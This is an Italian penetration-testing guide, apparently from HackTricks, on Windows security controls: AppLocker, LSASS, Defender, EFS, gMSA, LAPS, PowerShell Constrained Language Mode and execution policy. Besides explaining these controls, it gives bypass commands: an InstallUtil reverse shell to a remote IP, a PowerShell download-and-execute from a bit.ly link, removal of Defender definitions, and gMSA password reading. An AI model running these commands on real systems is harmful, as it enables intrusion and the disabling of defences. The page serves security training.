19 KiB
Controlli di Sicurezza di Windows
{% hint style="success" %}
Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo.
Accedi Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Politica di AppLocker
Una whitelist di applicazioni è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.
AppLocker è la soluzione di whitelisting delle applicazioni di Microsoft e offre agli amministratori di sistema il controllo su quali applicazioni e file gli utenti possono eseguire. Fornisce un controllo granulare su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.
È comune per le organizzazioni bloccare cmd.exe e PowerShell.exe e l'accesso in scrittura a determinate directory, ma tutto questo può essere aggirato.
Controlla
Controlla quali file/estensioni sono nella blacklist/whitelist:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Questo percorso del registro contiene le configurazioni e le politiche applicate da AppLocker, fornendo un modo per rivedere l'attuale insieme di regole applicate sul sistema:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Bypass
- Cartelle scrivibili utili per bypassare la politica di AppLocker: Se AppLocker consente di eseguire qualsiasi cosa all'interno di
C:\Windows\System32
oC:\Windows
, ci sono cartelle scrivibili che puoi utilizzare per bypassare questo.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- I comuni binaries "LOLBAS's" possono essere utili per bypassare AppLocker.
- Regole scritte male possono essere bypassate
- Ad esempio,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, puoi creare una cartella chiamataallowed
ovunque e sarà consentita. - Le organizzazioni spesso si concentrano su bloccare l'eseguibile
%System32%\WindowsPowerShell\v1.0\powershell.exe
, ma dimenticano le altre posizioni eseguibili di PowerShell come%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
oPowerShell_ISE.exe
. - L'applicazione delle DLL è molto raramente abilitata a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare DLL come backdoor aiuterà a bypassare AppLocker.
- Puoi usare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Archiviazione delle Credenziali
Security Accounts Manager (SAM)
Le credenziali locali sono presenti in questo file, le password sono hashate.
Local Security Authority (LSA) - LSASS
Le credenziali (hashate) sono salvate nella memoria di questo sottosistema per motivi di Single Sign-On.
LSA amministra la politica di sicurezza locale (politica delle password, permessi degli utenti...), autenticazione, token di accesso...
LSA sarà colui che verificherà le credenziali fornite all'interno del file SAM (per un accesso locale) e parlerà con il controller di dominio per autenticare un utente di dominio.
Le credenziali sono salvate all'interno del processo LSASS: ticket Kerberos, hash NT e LM, password facilmente decrittabili.
Segreti LSA
LSA potrebbe salvare su disco alcune credenziali:
- Password dell'account computer dell'Active Directory (controller di dominio irraggiungibile).
- Password degli account dei servizi Windows
- Password per attività pianificate
- Altro (password delle applicazioni IIS...)
NTDS.dit
È il database dell'Active Directory. È presente solo nei Domain Controllers.
Defender
Microsoft Defender è un Antivirus disponibile in Windows 10 e Windows 11, e nelle versioni di Windows Server. Blocca strumenti comuni di pentesting come WinPEAS
. Tuttavia, ci sono modi per bypassare queste protezioni.
Controllo
Per controllare lo stato di Defender puoi eseguire il cmdlet PS Get-MpComputerStatus
(controlla il valore di RealTimeProtectionEnabled
per sapere se è attivo):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Per enumerarlo potresti anche eseguire:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Encrypted File System (EFS)
EFS protegge i file attraverso la crittografia, utilizzando una chiave simmetrica nota come File Encryption Key (FEK). Questa chiave è crittografata con la chiave pubblica dell'utente e memorizzata all'interno del $EFS flusso di dati alternativi del file crittografato. Quando è necessaria la decrittazione, viene utilizzata la corrispondente chiave privata del certificato digitale dell'utente per decrittografare la FEK dal flusso $EFS. Maggiori dettagli possono essere trovati qui.
Scenari di decrittazione senza iniziativa dell'utente includono:
- Quando file o cartelle vengono spostati in un file system non EFS, come FAT32, vengono automaticamente decrittografati.
- I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
Questo metodo di crittografia consente un accesso trasparente ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione.
Punti chiave:
- EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente.
- La decrittazione utilizza la chiave privata dell'utente per accedere alla FEK.
- La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete.
- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
Controlla le informazioni EFS
Controlla se un utente ha utilizzato questo servizio verificando se esiste questo percorso: C:\users\<username>\appdata\roaming\Microsoft\Protect
Controlla chi ha accesso al file usando cipher /c <file>
Puoi anche usare cipher /e
e cipher /d
all'interno di una cartella per crittografare e decrittografare tutti i file
Decrittazione dei file EFS
Essere Autorità di Sistema
Questo metodo richiede che l'utente vittima stia eseguendo un processo all'interno dell'host. Se è così, utilizzando una sessione meterpreter
puoi impersonare il token del processo dell'utente (impersonate_token
da incognito
). Oppure potresti semplicemente migrate
al processo dell'utente.
Conoscere la password dell'utente
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Group Managed Service Accounts (gMSA)
Microsoft ha sviluppato Group Managed Service Accounts (gMSA) per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "Password mai scaduta" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
- Gestione automatica delle password: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla politica del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
- Sicurezza migliorata: questi account sono immuni a blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
- Supporto per più host: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
- Capacità di attività pianificate: a differenza degli account di servizio gestiti, i gMSA supportano l'esecuzione di attività pianificate.
- Gestione semplificata degli SPN: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
Le password per i gMSA sono memorizzate nella proprietà LDAP msDS-ManagedPassword e vengono automaticamente reimpostate ogni 30 giorni dai Domain Controllers (DC). Questa password, un blob di dati crittografato noto come MSDS-MANAGEDPASSWORD_BLOB, può essere recuperata solo da amministratori autorizzati e dai server su cui sono installati i gMSA, garantendo un ambiente sicuro. Per accedere a queste informazioni, è necessaria una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
Puoi leggere questa password con GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Trova ulteriori informazioni in questo post
Controlla anche questa pagina web su come eseguire un attacco di relay NTLM per leggere la password di gMSA.
LAPS
La Local Administrator Password Solution (LAPS), disponibile per il download da Microsoft, consente la gestione delle password degli amministratori locali. Queste password, che sono randomizzate, uniche e cambiate regolarmente, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è fornita la possibilità di leggere le password degli amministratori locali.
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
PS Constrained Language Mode
PowerShell Constrained Language Mode blocca molte delle funzionalità necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
Controlla
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Bypass
#Easy bypass
Powershell -version 2
In Windows attuali, quel bypass non funzionerà, ma puoi usare PSByPassCLM.
Per compilarlo potresti aver bisogno di Aggiungere un Riferimento -> Sfoglia -> Sfoglia -> aggiungi C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
e cambiare il progetto in .Net4.5.
Bypass diretto:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Reverse shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Puoi usare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e bypassare la modalità vincolata. Per ulteriori informazioni, controlla: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Politica di Esecuzione PS
Per impostazione predefinita è impostata su riservata. I principali modi per bypassare questa politica:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
More can be found here
Security Support Provider Interface (SSPI)
È l'API che può essere utilizzata per autenticare gli utenti.
L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
Main SSPs
- Kerberos: Il preferito
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 e NTLMv2: Motivi di compatibilità
- %windir%\Windows\System32\msv1_0.dll
- Digest: Server web e LDAP, password sotto forma di hash MD5
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL e TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Viene utilizzato per negoziare il protocollo da utilizzare (Kerberos o NTLM, con Kerberos come predefinito)
- %windir%\Windows\System32\lsasrv.dll
La negoziazione potrebbe offrire diversi metodi o solo uno.
UAC - User Account Control
User Account Control (UAC) è una funzionalità che abilita un messaggio di consenso per attività elevate.
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Usa Trickest per costruire e automatizzare flussi di lavoro facilmente, alimentati dagli strumenti più avanzati della comunità.
Ottieni accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.